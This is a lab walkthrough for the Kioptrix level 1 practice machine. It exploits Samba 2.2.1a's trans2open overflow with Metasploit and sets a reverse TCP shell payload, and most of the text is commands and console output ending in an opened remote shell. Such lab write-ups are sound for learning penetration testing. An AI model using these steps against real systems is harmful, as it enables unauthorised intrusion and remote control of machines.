Exploiting Kioptrix level 1 | Port 139 - (Samba 2.2.1a)

*In msfconsole
-SMB version detection using module - auxiliary/scanner/smb/smb_version

```
msf6 auxiliary(scanner/smb/smb_version) > run

[*] 10.0.2.10:139         - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 10.0.2.10:139         -   Host could not be identified: Unix (Samba 2.2.1a)
[*] 10.0.2.10:            - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

*Go to native linux shell
-Search for an exploit for Samba 2.2.1a version

```
┌──(root💀kali)-[~]
└─# searchsploit samba 2.2.
```

Exploit Title	Path
Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit)	osx/remote/9924.rb
Samba 2.2.2 < 2.2.6 - 'nttrans' Remote Buffer Overflow (Metasploit)	linux/remote/16321.rb
Samba 2.2.8 (BSD x86) - 'trans2open' Remote Overflow (Metasploit)	bsd_x86/remote/16880.rb
Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege	linux/local/23674.txt
Samba 2.2.8 (Linux x86) - 'trans2open' Remote Overflow (Metasploit)	linux_x86/remote/16861.rb
Samba 2.2.8 (OSX/PPC) - 'trans2open' Remote Overflow (Metasploit)	osx_ppc/remote/16876.rb

*Back in msfconsole-
-Search for trans2open

```
msf6 auxiliary(scanner/smb/smb_version) > search trans2open

Matching Modules
================

   #  Name                                  Disclosure Date  Rank   Check  Description
   -  ----                                  ---------------  ----   -----  -----------
   0  exploit/freebsd/samba/trans2open      2003-04-07       great  No     Samba trans2open Overflow (*BSD x86)
   1  exploit/linux/samba/trans2open        2003-04-07       great  No     Samba trans2open Overflow (Linux x86)
   2  exploit/osx/samba/trans2open          2003-04-07       great  No     Samba trans2open Overflow (Mac OS X PPC)
   3  exploit/solaris/samba/trans2open      2003-04-07       great  No     Samba trans2open Overflow (Solaris SPARC)
```

-Use exploit/linux/sama/trans2open since our target is a linux machine
-Then set all the required variables
-Set RHOSTS 10.0.2.10
-Leave RPORT as it is

```
msf6 auxiliary(scanner/smb/smb_version) > use exploit/linux/samba/trans2open
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/samba/trans2open) > options

Module options (exploit/linux/samba/trans2open):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>
                                       '
   RPORT    139              yes       The target port (TCP)
```

-Pick and set an appropriate payload or anything that would work
-Set the payload variables

```
msf6 exploit(linux/samba/trans2open) > set payload /linux/x86/shell/reverse_tcp
payload ⇒ linux/x86/shell/reverse_tcp
```

```
Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
```

-Run the exploit module and the command shell session would open

```
msf6 exploit(linux/samba/trans2open) > run

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.10:139 - Trying return address 0xbffffdfc...
[*] 10.0.2.10:139 - Trying return address 0xbffffcfc...
[*] 10.0.2.10:139 - Trying return address 0xbffffbfc...
[*] 10.0.2.10:139 - Trying return address 0xbffffafc...
[*] Sending stage (36 bytes) to 10.0.2.10
[*] Command shell session 1 opened (10.0.2.15:4444 → 10.0.2.10:32769) at 2021-04-17 20:32:58 -0400
```